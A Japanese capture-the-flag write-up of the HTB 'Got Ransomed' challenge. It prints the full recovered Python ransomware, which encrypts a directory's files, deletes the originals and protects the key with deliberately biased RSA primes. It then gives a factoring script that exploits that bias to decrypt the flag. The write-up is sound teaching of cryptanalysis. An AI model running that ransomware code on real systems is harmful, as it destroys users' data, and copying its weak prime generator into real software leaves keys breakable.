この記事は

HTB Business CTF 2021 の Got Ransomed という Crypto 問で、偏りのある 2048 bit の素数 n を素因数分解する必要がありましたが、実際にやってみると色々と手間取ってしまい時間内に解けませんでした。公式の難易度は低めでしたが数チームしか解答していなく、他に Write up もなかったので記録に残しておきました。

問題

SSH のアカウントが渡されるのでサーバーにログインすると、Linux 上でランサムされたファイルとランサムウェア、暗号に使用した公開鍵が置いてあります。ファイルを復号してフラグを取得する問題です。

サーバーにはこんな感じのファイルが置いてありました。

.evil
.bashrc.enc → 今回は使わない
.bash_logout.enc → 今回は使わない
.profile.enc → 今回は使わない
Payroll_Schedule.pdf.enc → 今回は使わない
data_breach_response.pdf.enc → 今回は使わない
flag.txt.enc
public_key.txt

public_key.txt には暗号文 ct と公開鍵 n, e が含まれています。

ct =103277426890378325116816003823204413405697650803883027924499155808207579502838049594785647296354171560091380575609023224236810984380471514427263389631556751378748850781417708570684336755006577867552855825522332814965118168493717583064825727041281736124508427759186701963677317409867086473936244440084864793145556452777286279898290377902029996126279559998481885748242510379854444310318155405626576074833498899206869904384273094040008044549784792603559691212527347536160482541620839919378963435565991783142960512680000026995612778965267032398130337317184716910656244337935483878555511428645495753032285992542849349183330115270055128424706
n =138207419695384547988912711812284775202209436526033230198940565547636825580747672789492797274333315722907773523517227770864272553877067922737653082336474664566217666931535461616165422003336643572287256862845919431302341192342221401941030920157743737894770635943413313928841178881232020910281701384625077903386156608333697476127454650836483136951229948246099472175058826799041197871948492587237632210327332983333713524046342665918954004211660592218839111231622727156788937696335536810341922886296485903618849914312160102415163875162998413750215079864835041806222675907005982658170273293041649903396166676084266968673498852755429449249441
e =65537

ランサムウェアの解析

.evil は ELF ファイルで、解析すると Python から生成された実行コードだと思われたので pyinstxtractor というツールを使用して元のスクリプトを抽出しました。

# objcopy --dump-section pydata=pydata.dump .evil
# python pyinstxtractor/pyinstxtractor.py pydata.dump 
[+] Processing pydata.dump
[+] Pyinstaller version: 2.1+
[+] Python version: 37
[+] Length of package: 1339359 bytes
[+] Found 7 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: ransomware.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python37 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: pydata.dump

すると Python で実装されたランサムウェアのコードが復元できます。

import base64
from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Util.number import isPrime, inverse, bytes_to_long, getPrime, long_to_bytes
from Crypto.Util.Padding import pad, unpad
from Crypto.Random.random import getrandbits
import sys, os

class CBC:

    def __init__(self, key):
        self.key = key

    def encrypt(self, dt):
        dt = pad(dt, AES.block_size)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return iv + cipher.encrypt(dt)

    def decrypt(self, enc):
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return unpad(cipher.decrypt(enc[16:]), AES.block_size)


class RSA:

    def __init__(self, bits=1024):
        self.p = self.getPrime(bits)
        self.q = self.getPrime(bits)
        self.n = self.p * self.q
        self.phi = (self.p - 1) * (self.q - 1)
        self.e = 65537
        self.d = inverse(self.e, self.phi)

    def encrypt(self, dt):
        m = bytes_to_long(dt)
        return pow(m, self.e, self.n)

    def decrypt(self, ct):
        enc = bytes_to_long(ct)
        return pow(enc, self.d, self.n)

    def getPrime(self, bits):
        while 1:
            prime = getrandbits(32) * (2 ** bits - getrandbits(128) - getrandbits(32)) + getrandbits(128)
            if isPrime(prime):
                return prime

    def saveKey(self, key, path):
        ct = self.encrypt(key)
        f = open(path + 'public_key.txt', 'w')
        f.write('ct =' + str(ct) + '\nn =' + str(self.n) + '\ne =' + str(self.e))
        f.close()


if __name__ == '__main__':
    key = long_to_bytes(getrandbits(256))
    aes = CBC(key)
    rsa = RSA()
    path = sys.argv[1]
    files = os.listdir(path)
    for file in files:
        dt = open(path + file, 'rb').read()
        ct = aes.encrypt(dt)
        open(path + file + '.enc', 'wb').write(ct)
        os.remove(path + file)

    rsa.saveKey(key, path)

このコードを読むと、ファイルを AES（CBC モード）で暗号化して、AES の共通鍵を RSA で暗号化しています。また、暗号化が完了した後、RSA 公開鍵と暗号化した AES 共通鍵を public_key.txt に出力しています。

一見すると強固な方式に見えますが、RSA の getPrime() の処理に脆弱性があり、ここで生成した乱数 p、q には以下のような偏りがあります。

ランダム（4バイト）＋固定値 FF... （108バイト）＋ランダム（20バイト）

そこで n を 16 進数表示してみると、以下のように不自然な公開鍵であることが分かります。これが素因数分解できれば、あとは復号するだけです。

n = 0x3b599770048e9bacffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd5449e2d90aa5712a21ba34aa1b2c62fbebe83d77a5da7f20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1

素因数分解

いよいよ本題です。$n$ が既知なので、$p = x_1 || F || y_1$、$q = x_2 || F || y_2$ （|| は連結）とおいて、$p * q$ を計算します。この展開は少し複雑で 9 個の項が出現しますが、図にすると以下のようになります。所々繰り上がりが発生することに注意が必要です。

n の 16 進表記を見ると、上位、中間、下位の 3か所に情報のブロックが存在することが分かります。まずは上位を合わせてみます。

$(x_1 - 1) + (x_2 - 1) + x_1*x_2 + 2 = 0x3b599770048e9bac$

これは、以下のように変形できます。

$(x_1 + 1) * (x_2 + 1) = 0x3b599770048e9bac + 1$

要するに、$x_1 + 1$ と $x_2 + 1$ の候補は $0x3b599770048e9bac + 1$ の素因数ということが分かります。ちなみにこれを素因数分解すると $3 * 5 * 7 * 11 * 127 * 13091983 * 2226943$ となります。

次に下位のブロックを合わせてみます。最後に $256^{40}$ を加えているのは、繰り上がりを考慮に入れているためです。また、チルダ（$\tilde{y}$）はビット反転を意味しています。

$y_1 * y_2 + (\tilde{y}_1 + 1) * 256^{20} + (\tilde{y}_2 + 1) * 256^{20} = 0x01c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1 + 256^{40}$

これは、以下のように変形できます。

$(256^{20} - y_1) * (256^{20} - y_2) = 0x01c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1$

要するに、$256^{20} - y_1$ と $256^{20} - y_2$ の候補は $0x01c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1$ の素因数ということが分かります。ちなみにこれを素因数分解すると $3^3 * 89 * 281 * 518933 * 1096114681 * 18196745308561 * 502738279 * 7937485901037004698797 * 523858704039174475852184167117$ となります。

上記で得られた $x_1, x_2, y_1, y_2$ の候補を使用して積を計算すると、上位ブロックと下位ブロックが正解となる合成数が得られます。この候補は幾つかありますので、全て試すことで中間ブロックも完全に一致する $p, q$ の組み合わせを探します。

#!/usr/bin/python

def divide(arr, n):
    p1 = 1
    p2 = 1

    b = bin(n)[2:].rjust(len(arr), "0")
    for i in range(len(arr)):
        if b[i] == "1":
            p1 *= arr[i]
        else:
            p2 *= arr[i]

    return p1, p2

a = [3, 5, 7, 11, 127, 13091983, 2226943]
b = [3, 3, 3, 89, 281, 518933, 1096114681, 18196745308561, 502738279, 7937485901037004698797, 523858704039174475852184167117]

for i in range(2**len(a)):
    for j in range(2**len(b)):
        x1, x2 = divide(a, i)
        y1, y2 = divide(b, j)

        x1 -= 1
        x2 -= 1
        y1 = 256**20 - y1
        y2 = 256**20 - y2

        p = (x1 * 256**128) + (int("FF"*108, 16) * 256**20) + y1
        q = (x2 * 256**128) + (int("FF"*108, 16) * 256**20) + y2

        if p * q == 0x3b599770048e9bacffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd5449e2d90aa5712a21ba34aa1b2c62fbebe83d77a5da7f20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1:
            print("p=0x{:x}".format(p))
            print("q=0x{:x}".format(q))
            print("n=0x{:x}".format(p*q))

この出力から、$p, q$ の値が求められました。

p=0xb96eb18affffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8293cf002f1686c838839572ef0ccc8bed8b3bc5
q=0x51ef9ea6fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc6d085dd3dfaf46526cae13546d440f445f7d2d
n=0x3b599770048e9bacffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd5449e2d90aa5712a21ba34aa1b2c62fbebe83d77a5da7f20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1

この $p, q$ を使用するとフラグが復号できます。

rsa = RSA()
key = rsa.decrypt(long_to_bytes(ct))
aes = CBC(long_to_bytes(key))
buf = open("flag.txt.enc", 'rb').read()
print(aes.decrypt(buf))

# b'HTB{n3v3r_p4y_y0ur_r4ns0m_04e1f9}'